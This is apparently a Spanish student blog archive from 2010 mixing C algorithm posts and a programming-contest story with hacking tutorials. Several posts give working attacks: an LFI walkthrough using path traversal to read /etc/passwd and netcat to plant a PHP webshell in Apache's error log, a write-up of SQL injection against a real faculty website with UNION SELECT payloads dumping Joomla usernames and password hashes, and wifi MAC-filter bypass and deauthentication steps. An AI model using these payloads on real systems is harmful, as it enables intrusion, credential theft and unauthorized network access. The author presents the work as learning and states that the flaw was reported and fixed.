martes, 30 de noviembre de 2010

Números que faltan (solución lineal)

Este problema inicialmente se trataba de determinar el numero que faltaba en un conjunto de n-1 elementos donde todos eran diferentes y tomaban valores entre 1 y n inclusive. Es decir en el conjunto faltaba un numero x para que la serie 1, 2, 3, ..., n este completa.

La solución lineal a este problema era calculando la suma de los n primeros números naturales usando la formula:

1 + 2 + 3 + ... + n = (n*(n+1))/2

Y luego a la suma se le iban restando los números que teníamos en el conjunto. Luego de restar todos los elementos lo que nos quedaba era el valor del numero que faltaba.

¿Pero como seria la solución si faltaran no uno sino dos elementos en la serie? Una solución a esta variación del problema anterior era obteniendo dos relaciones: la suma y el producto de los n primeros naturales. Luego ya se puede resolver el sistema de dos ecuaciones y dos variables. Sin embargo hay un problema de implementación, cuando el vector es muy grande el producto de sus elementos podría no entrar en los 4 bytes de una variable entera.

Este problema se nos propuso, ya hace mucho tiempo, en una charla de motivación sobre concursos de programación. Y a la salida mi amigo misterio y yo pensamos en una solución diferente pero sin dejar de ser lineal. Y es la que comentare a continuación:

El primero paso fue calcular la suma "S" de los dos números que faltaban. Eso se consigue aplicando la misma operación del problema original cuando solo faltaba 1 numero.

Luego por condición del problema sabemos que los números que faltan son diferentes. Entonces debe haber un mayor "max" y un menor "min". Además min no puede ser mayor que S/2.

Usando la formula antes mencionada calculamos la suma de los S/2 primeros números naturales y con un segundo recorrido del vector le vamos restando los elementos menores o iguales a S/2. Finalmente nos quedara el valor de min. Luego max sera S - min.

Como usamos dos recorridos la complejidad es 2n + k por lo que el algoritmo sigue siendo lineal.

/*
Descripción:
Este programa recibe como entrada N-2 de números distintos de 1 a N
y arroja como resultado los números los números A y B que faltan.

Formato de entrada:
Cada caso de prueba consiste en 2 lineas la primera contiene el numero N
y la segunda contiene los N-2 números diferentes.
El fin de la entrada se representa con un 0 en la primera linea del caso
de prueba.

Ejemplo:
-------------------------------------------------------------------------
10
7 4 1 5 2 3 6 10
9
2 4 7 5 6 8 9
0
-------------------------------------------------------------------------

Formato de salida:
La respuesta a cada caso de prueba es una sola linea con los numeros A y B
(A < B) separados por un espacio simple.

Ejemplo:
-------------------------------------------------------------------------
8 9
1 3
-------------------------------------------------------------------------
*/

#include <stdio.h>

int main(){
 int n, *v;
 
 scanf("%d", &n);
 while(n!=0) {
  int suma = n*(n+1)/2;
  
  v = new int[n-2];
  for(int i=0; i<n-2; i++){
   scanf("%d", &v[i]);
   suma -= v[i];
  }
  
  int aux = suma/2;
  int a = aux*(aux+1)/2;
  
  for(int i=0; i<n-2; i++)
   if(v[i]<=aux) a -= v[i];
  
  printf("%d %d\n", a, suma-a);  
  scanf("%d", &n);
 }
 
 return 0;
}

¿Ahora podrías plantear una solución para cuando falten 3 elementos, o mejor, para cuando falten k elementos con k<=n?

Saludos.

domingo, 28 de noviembre de 2010

Elemento mayoritario (divide y vencerás)

Ya hemos hablado antes del problema del elemento mayoritario de un vector. Primero presentamos la descripción del problema y una solución lineal que no funcionaba muy bien xD Ver:

http://alguienenlafisi.blogspot.com/2010/10/elemento-mayoritario-solucion-lineal.html

Luego se presentó una solución correcta de orden lineal que funciona para todos los casos:

http://alguienenlafisi.blogspot.com/2010/11/elemento-mayoritario-solucion-lineal.html

La solución que presentare ahora usa la técnica "Divide y Vencerás" para escoger el candidato a elemento mayoritario y luego realiza un verificación lineal. La técnica Divide y Vencerás (DYV) consiste en resolver un problema a partir de las soluciones parciales de problemas más pequeños derivados del original. Esta técnica se implementa usualmente con algoritmos recursivos que van partiendo un problema en subproblemas cada vez hasta llegar a un caso frontera donde la solución es trivial. En general, los algoritmos DYV suelen ser más eficientes.

El algoritmo de búsqueda del candidato se basa en la observación de que si un vector tiene un elemento mayoritario entonces ese elemento también será mayoritario de alguna de las mitades del vector. Por ello podemos partir en vector en dos mitades y buscar el elemento mayoritario en ambas de forma recursiva. El caso frontera se da cuando una mitad contiene un único elemento, entonces ese elemento es mayoritario.

La complejidad de este algoritmo es de orden lineal.

#include <stdio.h>
#include <stdlib.h>

int buscar(int *v, int i, int f, int *may) {
 if(f-i == 0) {
  *may = v[i];
  return 1;
 }
 int m = (i+f)/2, m1, m2, c1, c2;
 c1 = buscar(v, i, m, &m1);
 c2 = buscar(v, m+1, f, &m2);
 if(m1 == m2) {
  *may = m1;
  return c1 + c2;
 } else {
  if(c1 > c2) {
   *may = m1;
   return c1-c2;
  } else {
   *may = m2;
   return c2-c1;
  }
 }
}

bool verificar(int *v, int n, int may) {
 int c=0;
 for(int i=0; i<n; i++) {
  if(v[i] == may) {
   c++;
  }
 }
 return (c > n/2);
}

int main() {
 int *v, n;
 scanf("%d", &n);
 v = new int [n];
 for(int i=0; i<n; i++) {
  scanf("%d", &v[i]);
 } 
 int may, c;
 if(buscar(v, 0, n-1, &may) > 0) {
  if(verificar(v, n, may)) {
   printf("El elemento mayoritario es %d", may);
  } else {
   printf("No existe un elemento mayoritario");
  }
 } else {
  printf("No existe un elemento mayoritario");
 } 
 return 0;
}

Saludos.

sábado, 27 de noviembre de 2010

Concurso de programación FISI 2010

Ayer fue el concurso de programación por el aniversario de la facultad. Este año participaron muchos equipos. Figuraban inscritos 13 equipos en la pagina web del concurso, aunque no me pareció ver tantos en el laboratorio.

A diferencia de anteriores oportunidades esta vez vi mayor organización, por lo menos en lo que respecta al desarrollo del concurso en sí.

Este año no quise perder la oportunidad de concursar y participe junto a dos amigos de mi base: Javier (misterio) y David (collique).

La competencia estuvo de película. Ni bien recibimos el pdf con los 5 problemas, leí el primero y comencé a programarlo. Mientras tanto misterio y collique leían los demás problemas y bosquejaban sus soluciones. Yo demoré en resolver mi problema a pesar de que estaba fácil. Creo que me cogieron los nervios y no pensaba bien. Pero con unas acertadas observaciones de collique, enviamos nuestra primer solución y nos saltó un alentador mensaje de ¡Correcto!

El siguiente en entrar a codificar fue collique que ya tenia una solución al cuarto problema. Yo pase a leer el quinto y a resolverlo en papel. Misterio ya tenia la solución del segundo y estaba trabajando con el tercero. Cuando misterio terminó con el tercero me ayudó a resolver el quinto y ultimo. Mientras tanto collique aún seguía codificando, estaba teniendo problemas.

Collique debía corregir algunos detalles así que guardo su avance y le cedió el turno a misterio que empezó a codificar el segundo problema en C++. Yo seguía afinando detalles del ultimo.

Unos cuantos minutos más tarde, misterio ya tenia terminado su código. Luego de algunas pruebas y observaciones, enviamos nuestra segunda solución y obtuvimos otro ¡Correcto!

Collique entro a terminar su problema, hizo unas correcciones y descargamos los casos de prueba pero el programa no los resolvió correctamente y esta vez nos ganamos una penalización.

Ya que solo nos faltaba codificar, ahora todos estábamos frente a la computadora tratando de encontrarle el error al cuarto problema. Pero se nos resistía y nos estábamos atrasando.

Dejamos nuevamente el problema D, y misterio entro a codificar el C en C++, vaya hombre... que de haberlo hecho en Java quizá nos hubiéramos demorado menos xD A mi también me gusta C++ pero cuando toca Java, toca xD

Por motivos que no podíamos determinar, el código de misterio no estaba funcionando bien. Le dimos muchas vueltas y no encontrábamos el error. Mientras tanto collique seguía pensando como arreglar el cuarto problema.

Ya había pasado un buen tiempo y seguíamos estancados. Solo habíamos entregado 2 problemas y con eso no alcanzaba para figurar entre los tres primeros. Otros equipos ya habían resuelto tres problemas y seguramente se iban por el cuarto. Empecé a creer que no ganaríamos.

Pero todo dio un giro repentinamente. Collique ya tenia la solución definitiva al cuarto problema y entro a la maquina a parchear su código. Misterio y yo repasamos los detalles del tercer problema para encontrar el error.

De pronto ya teníamos resueltos el C y el D y los enviamos casi seguidos obteniendo dos nuevos mensajes de ¡Correcto!

Hasta ese momento nos colocábamos en segundo lugar. Las esperanzas volvían. Y aunque ya teníamos resuelto el quinto problema en papel, había que codificar todo desde cero y quizá también parchear algunos errores.

Quedaban 50 minutos.

Esta vez entre a codificar yo. Trate de escribir lo mas rápido que podía. Este problema haría la diferencia y ya nos llevaban ventaja. Todos estábamos frente a la pantalla. Misterio me dictaba linea a linea lo que había escrito en el papel y así avanzábamos mas rápido. Pero de pronto misterio pregunto ¿Que va en este bucle? ¿Por que esta vacío? ¡Joder! ¡Me había dejado parte del código en mente! xD Menos mal era poco y si me acordaba :)

Ni bien terminamos de codificar, comenzamos el testeo. Tuvimos una serie de problemas por demás jodidos. Felizmente las ideas llovían, sobre todo de collique que se conocía algunas clases mágicas para dar formato a números reales, sin eso difícilmente habríamos terminado a tiempo.

Ya solo quedaban 6 minutos.

No quedaba mucho tiempo. Dejamos la consola lista y descargamos el ultimo caso de prueba. Ya no había tiempo para parchear ni arreglar nada. Si el programa estaba mal deberíamos resignarnos al fracaso.

Procesamos el archivo de entrada, hubo silencio. Un error en tiempo de ejecución en estos momentos habría sido fulminante. No paso nada, solo silencio. El archivo de salida se había creado correctamente. Le echamos un vistazo de rutina a la salida para detectar algo sospechoso como lineas en blanco o salidas extrañas. No vimos nada raro.

Un mudo temor se apoderaba de nosotros. Todo iba bien ¡Que extraño! Sentíamos la necesidad de corregir algo más antes de enviar la solución y no sabíamos qué.

Pero no, no había tiempo para más. Contuve la respiración, adjunte los archivos y le di a enviar. ¡Joder! ¡Correcto! Exhalé. ¡Muchachos, alisten sus cosas nos vamos! Y empezamos a guardar los libros y cuadernos en nuestras mochilas.

Me acerque a preguntar si nos podíamos retirar. Me dijeron que ya solo faltaban dos minutos y que íbamos en primer lugar xD Esperamos.

Al terminar el concurso, aun seguíamos primeros en la tabla. Vimos que solo un equipo más termino los 5 problemas. Yo no entendía bien los tiempos pero collique dijo que le ganamos al segundo puesto por una diferencia de tan solo 2 segundos :|


¿Que pudimos haber hecho en 2 segundos? ¿corregir algo más? ¿pensarlo dos veces? Para mí puede considerarse como un empate.

No quisiera terminar este post sin agradecer a los organizadores y felicitar a todos los que participaron en el concurso. Lo importante no es ganar, lo importante es divertirse y seguro que todos se han divertido tanto como yo.

Un saludo.

Actualización:

Dejo un link donde pueden descargar los problemas del concurso y el código de nuestras soluciones:

http://www.mediafire.com/?oy444aq1g7h2gh4

miércoles, 24 de noviembre de 2010

Inseguridad Inalámbrica [PARTE III]


En este primer video mostramos como vulnerar el filtrado mac.

En este escenario tenemos a la red Xeus la cual es un red libre pero con filtrado mac. En este tuto use la distro bactrack 4, una tarjeta inalámbrica Alfa con el chipset realtek rtl8187b, que por cierto soporta modo monitor con el airmon-ng, el airodump-ng, inyección con aireplay-ng y más. Si bien sabemos cuando se filtra mac, se restringe el acceso a las tarjetas cuyas mac no ha sido registrada en el AP. Pero qué pasaría si nosotros sabemos una de las mac que están registradas en el AP y más aun que pudiéramos cambiar nuestra mac por esa. Podríamos conectarnos ¿cierto?

Así que ponemos nuestra tarjeta en modo monitor y con el airodump-ng podemos ver los clientes que están conectados al AP. Copiamos su mac y con el comando macchanger podemos cambiar nuestra mac no físicamente pero virtualmente sí. Pero antes de cambiar tenemos que darle de baja a nuestra interface, y una vez cambiada levantar de nuevo nuestra interface. Y listo.






Posibles problemas de poder conectarse.

- Cuando pusimos la tarjeta en modo monitor, esta al escucha del trafico inalámbrico y por lo tanto no podemos navegar por internet, cuando deshabilitemos el modo monitor resulta que a veces de igual manera no nos deja navegar. Asi que seria mejor volver a iniciar la distro, ya que sabemos la mac de un cliente conectado solo cambiaríamos nuestra mac.

- Otra de la veces que no nos deja seria que el usuario ya esta conectado con esa mac, y tenemos la misma mac, provocaría algún conflicto, algo asi cuando cuando hay 2 maquinas con la misma IP, hay un conflicto de IP, una de las opciones que tenemos es lanzar un ataque de desautentificación, para desautentificar al cliente y sustituirlo.


Hasta Pronto

lunes, 22 de noviembre de 2010

Hackeando la web de la FISI [VIDEO]

Lo prometido es deuda, aquí les dejo el vídeo del 0day que encontramos en la web de la facultad.



Pueden ver el post de la explicación paso a paso en:

http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi.html

Hasta pronto, saludos.

Juaqueando webs con Joomla [Parte V]

Quedaba pendiente el método usual de explotación de un LFI.

Local File Inclusion (LFI)

Un LFI, de forma muy particular, es una vulnerabilidad que permite indicarle al interprete de PHP que incluya durante la ejecución de un script algún fichero local que puede o no tener código PHP. Al decir local me refiero a que el fichero está en el mismo servidor. Si el fichero tuviera código PHP, se ejecutará y se mostrara la respuesta; si no, simplemente se mostrará el contenido del fichero.

La explotacion de un LFI es mediante una variable vulnerable con la que podemos indicar el fichero que se va a incluir. Por ejemplo en el siguiente código:

index.php
<?php
//obtiene el nombre de la pagina a mostrar
$page = $_GET['page'];
//forma el path de la pagina y la incluye
require("pages/" . $page . ".htm");
?>

la variable vulnerable es "page". Una llamada normal sería:

http://site/index.php?page=news

que quizá muestre la pagina de noticias del sitio. Sin embargo también podemos hacer una llamada como esta:

http://site/index.php?page=../../../../../etc/passwd%00

Con los ../ consecutivos saltamos directorios hacia atrás hasta llegar a la raíz / y desde ahí accedemos al fichero /etc/passwd. La secuencia %00 es el caracter de fin de cadena ('\0') y sirve para anular la extensión que se concatena al final (".htm")

Entonces la explotación de un LFI, para conseguir una shell, consiste básicamente en inyectar código PHP en algún fichero del servidor para luego cargarlo usando la variable vulnerable a fin de que el código se ejecute.

Aunque existe muchas formas de inyectar código PHP en diferentes ficheros del sistema, aquí solo explicaré como hacerlo en los logs de Apache.

Inyectando código en los logs de Apache

Apache guarda las incidencias de las conexiones que recibe en dos ficheros: access.log y error.log. Los registros de las conexiones exitosas se guardan en access.log y de las que producen algún error se guardan en error.log. En los logs normalmente se registra el recurso solicitado, el User-Agent (navegador y SO que usamos), el Referer (URL de referencia), la dirección IP y la fecha y hora. Algunos de estos campos podemos modificarlos intencionalmente para que Apache escriba en los logs el código que queremos inyectar.

Para hacerlo generaremos un error con una petición malformada que incluya el código PHP. Apache registrara esta solicitud en error.log.

Usaremos el netcat:

$ nc -v localhost 80
Connection to localhost 80 port [tcp/www] succeeded!
GET <?php passthru($_GET['cmd']); ?> HTTP/1.1\r\n
Host: localhost\r\n
\r\n

La secuencia \r\n no se escribe, significa que debes presionar enter. Obtendremos una respuesta como esta:

HTTP/1.1 400 Bad Request
Date: Tue, 23 Nov 2010 00:29:39 GMT
Server: Apache/2.2.14 (Unix) PHP/5.3.1
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Expires: Tue, 23 Nov 2010 00:29:39 GMT

El codigo de error 400 nos dice que la petición esta mal hecha y era justo lo que buscábamos. Si ahora revisamos el archivo error.log veremos algo así:

...
[Mon Nov 22 19:29:49 2010] [error] [client 127.0.0.1] Invalid URI in request GET <?php passthru($_GET['cmd']); ?> HTTP/1.1
...

Bien ya inyectamos la webshell, ahora debemos cargar el fichero error.log usando la variable vulnerable. Se nos presentan 2 problemas:

No conocemos el path del error.log. Sin embargo podemos intentar con los path por defecto:

/var/log/httpd/error_log
/var/log/apache2/error.log
/var/log/httpd-error.log

Es posible que no tengamos permisos para leer el error.log. Bueno si no tenemos permisos, ni modo. A buscar otra forma de inyectar la webshell.

Pero si todo ha ido bien, entonces ya podremos ejecutar comandos así:

http://site/index.php?page=../../../../../var/log/apache2/error.log%00&cmd=[COMANDO]

Ahora una combinación fatal LFI + SQLi

Ya vimos como inyectar una webshell usando SQLi. Sin embargo se nos presentaban 2 problemas: No conocíamos el path del directorio publico y probablemente no tendríamos permisos para escribir en él. Con el LFI los problemas son similares: No conocemos el path del error.log y quizá no tengamos permisos para leer ese fichero.

Pero si encontramos un website con ambas vulnerabilidades podemos usar el SQLi para inyectar la webshell en algún directorio donde tengamos permisos de escritura como por ejemplo "/tmp" y luego usar el LFI cargar la webshell };)

Saludos.

Hackeando la web de la FISI

Hola a todos, este post va dedicado con mucho cariño a nuestra querida facultad por su X aniversario. ¡Feliz X aniversario FISI!

Hace poco publicamos una serie de posts sobre hacking de webs hechas con Joomla. Pues bien, la pagina de la facultad esta hecha con Joomla ¿O no?

En este post, vamos a aplicar lo aprendido en la serie "Juaqueando webs con Joomla" y mostraremos como logramos juaquear la pagina web de la FISI xD

¡A darle pues!

Como ya sabemos que la pagina esta hecha en Joomla, vamos a pasar directamente a la busqueda de componentes. Así que en Google buscamos:

site:sistemas.edu.pe inurl:index.php?option

Obtenemos un solo resultado de un componente llamado "com_sefservicemap". Si le buscamos vulnerabilidades pues no hay nada. Probemos con la otra busqueda:

site:sistemas.edu.pe inurl:/component/

Hey, ahora tuvimos algo más de suerte, salen un montón de resultados. Aunque casi todos son del componente com_content que es el encargado de mostrar los articulos de Joomla. Buscamos exploits para com_content y encontramos unos cuantos sin embargo luego de testearlos parece que la FISI no es vulnerable a estos exploits.

Tras revisar los resultados de google detenidamente encontramos un componente algo sospechoso: com_deudas


Parece un componente sospechoso porque el nombre esta en español. Además se llama "deudas". Es de suponerse que debe ser un componente de propia fabricación. Demosle clic a ver que pasa:


Ahí está, es un componente que sirve para que los alumnos consulten sus deudas. Pero hace mucho que debe estar fuera de uso por que desde la pagina principal del site no hay ninguna referencia a este componente. Menos mal nuestro buen amigo Google todo lo sabe y todo lo recuerda }:]

Y ahora qué, no vamos a encontrar exploits para este componente en las paginas que ya sabemos. Es que es un componente hecho a medida.

Pues le metemos una comilla al formulario a ver que pasa y ya. Ahí vamos:


¿Y qué tenemos? Un bonito error de sintaxis en la orden SQL xD

Ahora sabemos que es vulnerable a SQLi. Y ya sabemos como explotar un SQLi ¿Verdad? }xD

Bueno vamos a jugar un poco con el SQLi pa ver que podemos hacer. Primero generare una tautologia para ver si me puedo listar todos los registros de la tabla.

En el campo "Apellido Materno" (todas las pruebas las haré en este campo) escribí:

' or 1=1#

y este fue el resultado:


Pues hay 1416 registros en la tabla xD Bien ahora que sabemos que el SQLi funciona pues a explotarlo xD

El primer paso es averiguar cuantas columnas hay en la tabla. Eso se puede hacer usando la orden ORDER BY que ordena los resultados según el numero de columna que le indiquemos. Pero si le indicamos un numero mayor al numero de columnas de la tabla entonces producirá un error y así sabremos cuantas columnas hay en la tabla ;)

Ya probé y estos fueron los resultados:

' ORDER BY 1# (OK)
' ORDER BY 2# (OK)
' ORDER BY 3# (OK)
' ORDER BY 4# (OK)
' ORDER BY 5# (OK)
' ORDER BY 6# (OK)
' ORDER BY 7# (OK)
' ORDER BY 8# (OK)
' ORDER BY 9# (Unknown column)

Entonces podemos concluir que hay 8 columnas en la tabla. El siguiente paso es averiguar donde se muestra cada campo de la respuesta.

Eso lo averiguamos con la siguiente orden:

' UNION SELECT 1,2,3,4,5,6,7,8#


Y esta es la disposición de los campos:


Los campos 1, 2, 4, 5 y 6 aparecen en el titulo una sola vez sin embargo los campos 8, 7 y 3 aparecen en la tabla y son los que se repiten para cada registro en la respuesta de la base de datos. Así que usaremos estos campos para mostrar la informacion que queremos.

Y ¿Que información queremos? ¡Pues los usuarios y contraseñas de Joomla!

Para listar los usuarios y contraseñas de Joomla usaremos esta orden:

' UNION SELECT 1,2,convert(username using latin1),4,5,6,convert(usertype using latin1),convert(password using latin1) FROM jos_users#

Y ahí lo tenemos:


Lo he emborronado un poco, según yo, por seguridad xD

Ya tenemos la lista de usuarios y contraseñas. Ahora a crackearlas. Yo usé esta pagina:

http://www.cmd5.org/

El hash del Super Administrator no estaba pero si el del Manager. Bueno de todos modos nos sirve xD


Como se observa en la imagen el hash fue encontrado pero no es gratuito. Aunque solo cuesta $1.00 dolar xD lo voy a dejar ahí. Ya ustedes imaginen que podría pasar }:]

Para terminar quisiera decir que el error ya fue reportado y corregido. A la fecha ya no es posible este ataque y la FISI puede estar un poquito mas segura :)

Luego subiré un vídeo, hasta pronto.

Saludos.

Actualización

Ya pueden ver el vídeo en:

http://alguienenlafisi.blogspot.com/2010/11/hackeando-la-web-de-la-fisi-video.html

domingo, 21 de noviembre de 2010

Inseguridad Inalambrica [PARTE II]


Existen varias distribuciones linux orientadas a la auditoria de seguridad wifi tales wifiway, wifislax, bactrack o cualquier otra distribución, estas distros se pueden instalar en sus disco duro o probar solo como live cd o como maquina virtual.

Aquí algunas web oficiales donde pueden descargar las versiones más recientes de las distribuciones:

http://www.backtrack-linux.org/downloads/

http://www.wifislax.com/descargas.php

Para iniciarnos en este mundillo vamos a utilizar el aircrack-ng, una suite de seguridad inalámbrica que consiste en un sniffeador de red que tiene herramientas para crackear redes.

Daremos unas ideas básicas de cómo iniciar:

Determinar el chipset de tu tarjeta inalámbrica

Una de la desventajas que tenemos es que no todos los chipsets de las tarjetas inalámbricas soportan la suite de aircrack-ng, incluso hay chipset que son compatibles solo con algunas de las funciones del aircrack-ng o no puede funcionar correctamente. Así que si van a comprar una, verifiquen que debe soportar, si no es todas, la mayoría de las funcionalidades del aircrack-ng o las necesarias.

Aquí mostramos algunas de las tarjetas soportadas, existen muchas que no son mostradas en la lista de compatibilidad, así con suerte pueda que sirva su tarjeta si no la encuentra en la lista, y aún una manera de probarlo, en la práctica ;-).

http://www.aircrack-ng.org/doku.php?id=compatibility_drivers

Que es airmon-ng, airodump-ng, aireplay-ng y aircrack-ng

airmon-ng

Se usa para ver la interfaces wifi de la o las tarjetas inalámbricas, activar el modo monitor de la tarjeta inalámbrica o salir de la misma.

Si dentro de la consola colocamos solo airmon-ng y damos enter. Veremos el estado de nuestras tarjetas, si no se muestra nuestra tarjeta puede que no soporte el modo monitor, y por lo tanto no se podrá auditar, o puede que no se tiene el driver instalado o falte actualizarlo.

Uso: airmon-ng [start o stop] [interface]

[start o stop] : Indica si deseas iniciar o detener el modo monitor, es la importantes de los pasos.

[interface]: El nombre de la interface a utilizar, después de utilizar solo el comando airmon-ng sin parámetros y ver todas la interfaces que tenemos, y verificar cual es la que utilizaremos.

Iniciamos modo monitor con la interface wlan0

airmon-ng start wlan0

Detenemos modo monitor con la interface wlan0

airmon-ng start wlan0

ifconfig: Permite configurar o desplegar numerosos parámetros de las interfaces, como la dirección IP o la máscara de red. Si se llama sin argumentos suele mostrar la configuración de las interfaces de red activas, con detalles como la dirección MAC o el tráfico que ha circulado por las mismas hasta el momento.

Otros comando propios de sistema operativo linux:

El programa ifconfig tiene muchos más parámetros que los descritos hasta ahora. Generalmente se ejecuta en la forma: ifconfig [interfaz] [parámetros]

eth0      Link encap 10Mbps Ethernet  HWaddr 00:00:C0:90:B3:42
          inet addr 172.16.1.2 Bcast 172.16.1.255 Mask 255.255.255.0
          UP BROADCAST RUNNING  MTU 1500  Metric 0
          RX packets 3136 errors 217 dropped 7 overrun 26
          TX packets 1752 errors 25 dropped 0 overrun 0


Algunos usos:

up
Marca la interfaz como disponible para que sea usada por la capa IP. Esta opción va implícita cuando lo que se da en la línea de órdenes es una dirección. También permite reactivar una interfaz que se ha desactivado temporalmente mediante la opción down.


down
Marca la interfaz como inaccesible a la capa IP. Esto inhabilita cualquier tráfico IP a través de la interfaz. Es importante darse cuenta que esto también borra los registros de la tabla de encaminamiento correspondientes a esa interfaz de forma automática.

lo no wireless extensions.

eth0 no wireless extensions.

wifi0 no wireless extensions.

ath0 IEEE 802.11b ESSID:"" Nickname:""

Mode:Managed Channel:0 Access Point: Not-Associated

Bit Rate:0 kb/s Tx-Power:0 dBm Sensitivity=0/3

Retry:off RTS thr:off Fragment thr:off

Encryption key:off

Power Management:off

Link Quality:0 Signal level:0 Noise level:0

Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0

Tx excessive retries:0 Invalid misc:0 Missed beacon:0

airodump-ng

Muestra detalles de todos los puntos de acceso y clientes conectados a los mismos. Se usa para la captura de paquetes de tramas 802.11 y está especialmente dedicado para la captura de IVs (vector de inicialización)WEP para poder usarlos con aircrack-ng.

Otra de las caracterices del airodump-ng es que si se tiene un receptor GPS conectado al ordenador, airodump-ng es capaz de capturar las coordenadas de los puntos de acceso que se encuentran.

Uso: airodump-ng [opciones] [interface]
Mostrar todos los APs conectados de todos los canales de la interface wlan1


airodump-ng wlan1

En este caso filtramos por canal, nos mostrara todos los APs conectados en el canal 6 de la interface wlan1

airodump-ng –c 6 wlan1

En este caso podemos ponernos solo a la captura de un AP especificado. Solo capturaremos trafico del AP 00:1B:2C:23:22:1B y en el canal que se encuentra el mismo. Si bien mientras la captura de un solo AP con clientes conectados seria mas rapida, ya que solo se dedicaria a una sola AP, excluyendo al resto.

airodump-ng --bssid 00:1B:2C:23:22:1B –c 6 wlan1

Si queremos guardar la captura, especificamos con el parámetro –w el nombre del archivo a crear, asi en el home se creara un archivo con la extensión .cap de la captura.

airodump-ng --bssid 00:1B:2C:23:22:1B –c 6 –w captura wlan1

Solo algunos de los parámetros , si quieren ver mas parámetros solo tendrán que poner airodump-ng –h.

Algunos significados de lo que se muestra.

aireplay-ng:

La función principal es generar tráfico para el uso posterior en aircrack-ng para descifrar el WEP y WPA-PSK teclas. Hay diferentes ataques que puede causar desautentificaciones con el fin de capturar los datos WPA handshake, autenticaciones falsas, repetición de paquetes interactivos, ARP solicitud de inyección- reinyección de petición ARP.

Existen 5 ataques diferentes:

· Ataque 0: desautentificación

· Ataque 1: autenticación falsa

· Ataque 2: repetición de paquetes interactivos

· Ataque 3: petición ARP ataque de reproducción

· Ataque 4: ataque chopchop KoreK

· Ataque 5: Ataque de fragmentación

· Ataque 6: - ataque Cafe-latte

· Ataque 7: orientado a la fragmentación de ataque cliente

· Ataque 8: WPA modo de migración - estará disponible en la próxima versión-

· Ataque 9: prueba de inyección

La función principal es generar tráfico para el uso posterior en aircrack-ng para descifrar el WEP y WPA-PSK teclas. Hay diferentes ataques que puede causar desautentificaciones con el fin de capturar los datos WPA handshake, autenticaciones falsas, repetición de paquetes interactivos, ARP solicitud de inyección- reinyección de petición ARP.

aircrack-ng :

Sirve para recuperar una clave WEP una vez que hayamos capturado con el airodump-ng los paquetes encriptados necesarios para la desencriptación. Para contraseñas WPA y WPA2 con claves pre-compartidas solo hace falta de un ataque de diccionario.

Hasta pronto.


Fuentes:

http://es.wikipedia.org

http://www.aircrack-ng.org/